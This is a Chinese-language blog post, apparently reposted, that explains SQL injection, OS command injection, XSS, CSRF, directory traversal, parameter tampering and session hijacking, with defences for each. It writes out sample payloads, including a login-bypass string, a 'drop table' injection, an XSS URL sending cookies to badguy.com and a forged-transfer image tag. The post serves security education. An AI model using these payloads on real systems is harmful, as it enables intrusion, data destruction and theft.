各种sql注入、攻击说明

最新推荐文章于 2018-08-03 18:48:27 发布

lrlnh

最新推荐文章于 2018-08-03 18:48:27 发布

阅读量479

点赞数

分类专栏：安全

安全专栏收录该内容

3 篇文章 0 订阅

订阅专栏

sql注入,什么是sql注入？

SQL注入

所谓SQL注入，就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。
通过一下的例子更形象的了解SQL注入：
有一个Login画面，在这个Login画面上有两个文本框分别用来输入用户名和密码，当用户点了登录按钮的时候，会对输入的用户名和密码进行验证。验证的SQL语句如下：
select * from student where username='输入的用户名' and password='输入的密码'
如果能够检索到数据，说明验证通过，否则验证不通过。

如果用户在用户名文本框中输入 ' or '1' = '1' or '1' = '1，则验证的SQL语句变成：

select * from student where username='' or '1' = '1' or '1' = '1' and password=''

如果用户在密码文本框中输入 1' or '1' = '1，则验证的SQL语句变成：

select * from student where username='' and password='1' or '1'='1'

以上两个SQL语句的where条件永远是成立的，所以验证永远是有效的。

如果在用户名文本框中输入 tom' ; drop table student-- ，则SQL语句变成：
[sql] view plaincopyprint ?
1.       select * from student where username='tom' ; drop table student--' and password=''
这样就变成的两条SQL语句，执行完查询操作，接着直接把student表给删除了（双连接符表示注释）
如何防止SQL注入：
1.       永远不要信任用户的输入。对用户的输入进行校验，可以通过正则表达式，或限制长度；对单引号和双"-"进行转换等。
2.       永远不要使用动态拼装sql，可以使用参数化的sql或者直接使用存储过程进行数据查询存取
3.       永远不要使用管理员权限的数据库连接，为每个应用使用单独的权限有限的数据库连接
4.       不要把机密信息直接存放，加密或者hash掉密码和敏感的信息
5.       应用的异常信息应该给出尽可能少的提示，最好使用自定义的错误信息对原始错误信息进行包装
6.       采用一些工具或网络平台检测是否存在SQL注入

OS命令注入

OS命令注入和SQL注入差不多，只不过SQL注入是针对数据库的，而OS命令注入是针对操作系统的。OS命令注入即能够在服务器上执行任意命令。
如何防止OS命令注入：
1.       不要调用外部程序。举个例子，在UNIX系统上，有一个叫CGI的程序，可以执行sendmail命令来发送邮件。也许你的web应用程序也有发送邮件的功能，通过直接调用CGI程序发送邮件非常的简单，但是不要这样做，因为在执行sendmail命令的同时，也会混杂进其他OS命令，正确的做法是使用发送邮件的library。
2.       过滤调、; ，[ ，] ，| ，< ，> ，\ 之类的符号
3.       设置用户的权限

XSS跨站脚本攻击

XSS跨站脚本攻击指攻击者在网页中嵌入客户端脚本(例如JavaScript)，当用户浏览此网页时，脚本就会在用户的浏览器上执行，从而达到攻击者的目的，比如获取用户的Cookie，导航到恶意网站，携带木马等。
XSS攻击场景有以下两个方面：
1. Dom-Based XSS 漏洞。攻击过程如下
Tom 发现了Victim.com中的Search.asp页面有XSS漏洞，Search.asp的代码如下：

1.       <html>
2.       　　<title></title>
3.       　　<body>
4.       　　　　Results  for  <%Reequest.QueryString("term")%>
5.       　　　　...
6.       　　</body>
7.       </html>
Tom 先建立一个网站http://badguy.com，用来接收“偷”来的信息。然后Tom 构造一个恶意的url(如下)，通过某种方式(邮件，QQ)发给Monica
http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>
Monica点击了这个URL，嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行，那么Monica在 victim.com网站的cookie，就会被发送到badguy网站中，这样Monica在victim.com 的信息就被Tom盗了
2. Stored XSS(存储式XSS漏洞)。该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞，攻击者将攻击脚本上传到Web服务器上，使得所有访问该页面的用户都面临信息泄露的可能。攻击过程如下
Alex发现了网站A上有一个XSS 漏洞，该漏洞允许将攻击代码保存在数据库中，于是Alex发布了一篇文章，文章中嵌入了恶意JavaScript代码。其他人如Monica访问这片文章的时候，嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行，其会话cookie或者其他信息将被Alex盗走
Dom-Based XSS漏洞威胁用户个体，而存储式XSS漏洞所威胁的对象将是大量的用户。
如何防止XSS跨站脚本攻击：
原则：不相信用户输入的数据
注意：攻击代码不一定在<script></script>中
1.       将重要的cookie标记为http only，这样的话Javascript 中的document.cookie语句就不能获取到cookie了
2.       只允许用户输入我们期望的数据。例如：年龄的textbox中，只允许用户输入数字，而数字之外的字符都过滤掉
3.       对数据进行Html Encode 处理。< 转化为 <、> 转化为 >、& 转化为 &、' 转化为 '、" 转化为 "、空格转化为  
4.       过滤或移除特殊的Html标签。例如：<script>、<iframe>、< for <、> for >、&quot for
5.       过滤JavaScript 事件的标签。例如 "οnclick="、"onfocus" 等等
很多浏览器都加入了安全机制来过滤XSS（如下图，在ie中输入http://www.baidu.com/s?wd=<script>alert(document.cookie)</script>）
各种sql注入、攻击说明

CSRF跨站请求伪造

CSRF（XSRF）尽管听起来很想XSS跨站脚本攻击，但是它于XSS完全不同。XSS是利用站点内的信任用户，而CSRF则是通过伪装来自受信任用户的请求来利用受信任的站点。
与XSS相比，CSRF攻击不大流行和难以防范，所以比XSS更具危险性。
以下是一个CSRF的例子
受害者 Bob 在银行有一笔存款，通过对银行的网站发送请求http://bank.example/withdraw?account=bob& amp;amount=1000000&for=bob2可以使 Bob 把 1000000 的存款转到 bob2 的账号下。通常情况下，该请求发送到网站后，服务器会先验证该请求是否来自一个合法的 session，并且该 session 的用户 Bob 已经成功登陆。
黑客 Mallory 自己在该银行也有账户，他知道上文中的 URL 可以把钱进行转帐操作。Mallory 可以自己发送一个请求给银行：http://bank.example/withdraw?account=bob& amount=1000000&for=Mallory。但是这个请求来自 Mallory 而非 Bob，他不能通过安全认证，因此该请求不会起作用。
这时，Mallory 想到使用 CSRF 的攻击方式，他先自己做一个网站，在网站中放入如下代码：<img src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory” />。并且通过广告等诱使 Bob 来访问他的网站。当 Bob 访问该网站时，上述 url 就会从 Bob 的浏览器发向银行，而这个请求会附带 Bob 浏览器中的 cookie 一起发向银行服务器。大多数情况下，该请求会失败，因为他要求 Bob 的认证信息。但是，如果 Bob 当时恰巧刚访问他的银行后不久，他的浏览器与银行网站之间的 session 尚未过期，浏览器的 cookie 之中含有 Bob 的认证信息。这时，悲剧发生了，这个 url 请求就会得到响应，钱将从 Bob 的账号转移到 Mallory 的账号，而 Bob 当时毫不知情。等以后 Bob 发现账户钱少了，即使他去银行查询日志，他也只能发现确实有一个来自于他本人的合法请求转移了资金，没有任何被攻击的痕迹。而 Mallory 则可以拿到钱后逍遥法外。
如何防止CSRF跨站请求伪造：
1.       对于web站点，将持久化的授权方法（例如cookie或者HTTP授权）切换为瞬时的授权方法（在每个form中提供隐藏field）。
2.       “双提交”cookie。此方法只工作于Ajax请求，但它能够作为无需改变大量form的全局修正方法。如果某个授权的cookie 在form post之前正被JavaScript代码读取，那么限制跨域规则将被应用。什么叫限制跨域规则呢？限制跨域规则就是：如果服务器需要在Post请求体或者URL中包含授权cookie的请求，那么这个请求必须来自于受信任的域，因为其它域是不能从信任域读取cookie的。上面那个例子的受信任域就是银行网站的某个域，而Mallory发给Bob的链接不是受信任的域。
3.       使用Post代替Get。Post方式不会在web服务器和代理服务器日志中留下数据尾巴，然而Get方式却会留下数据尾巴。
4.       以上三点都是正对web站点的防御手段，第4点是从用户的角度的防御手段。通过在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie来防止CSRF攻击。

目录遍历漏洞

目录遍历漏洞在国内外有不同的叫法（信息泄露漏洞、非授权文件包含漏洞、等等）。目录遍历漏洞就是在程序中没有过滤用户输入的../和./之类的目录跳转符，导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件，其危害可想而知。
如何防止目录遍历漏洞：
1.       权限控制
2.       对包含了恶意的符号或者空字节进行拒绝
3.       使用绝对路径+参数来控制访问目录，使其即使是越权或者跨越目录也是在指定的目录下

参数篡改

参数值窜改是网络攻击的一种形式，其中在URL中的某些参数或由用户输入的网页形式领域数据都在没有得到用户授权的情况下改变了。这导致浏览器指向一个不是用户想去的链接、网页或网站（尽管对随机观测者来说它们看上去几乎一样）。参数值篡改被犯罪者用来获取个人或商业信息。
如何防止参数篡改：
1. 对所有参数值进行验证
2. 根据session id进行迁移，参数使用服务器端的值

会话劫持

会话劫持就是在一次正常的会话过程当中，攻击者作为第三方参与到其中，他可以在正常数据包中插入恶意数据，也可以在双方的会话当中进行监听，甚至可以是代替某一方主机接管会话。
我们可以把会话劫持攻击分为两种类型：1）中间人攻击(Man In The Middle，简称MITM)，2）注射式攻击（Injection）
中间人攻击：简而言之，所谓的MITM攻击就是通过拦截正常的网络通信数据，并进行数据篡改和嗅探，而通信的双方却毫不知情
注射式攻击：这种方式的会话劫持比中间人攻击实现起来简单一些，它不会改变会话双方的通讯流，而是在双方正常的通讯流插入恶意数据
还可以把会话劫持攻击分为两种形式：1）被动劫持，2）主动劫持
被动劫持：在后台监视双方会话的数据流，丛中获得敏感数据
主动劫持：将会话当中的某一台主机“踢”下线，然后由攻击者取代并接管会话，这种攻击方法危害非常大，攻击者可以做很多事情
如何防止会话劫持：
1.       限制入网的连接
2.       设置你的网络拒绝假冒本地地址从互联网上发来的数据包
3.       加密也是有帮助的。FTP和Telnet协议是最容易受到攻击的。SSH是一种很好的替代方法

文章出处：http://www.ablanxue.com/prone_3062_1.html 谢谢合作

lrlnh

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
各种sql注入、攻击说明

sql注入,什么是sql注入？SQL注入所谓SQL注入，就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。通过一下的例子更形象的了解SQL注入：有一个Login画面，在这个Login画面上有两个文本框分别用来输入用户名和密码，当用户点了登录按钮的时候，会对输入的用户名和密码进行验证。验证的SQL语句如下：
复制链接

扫一扫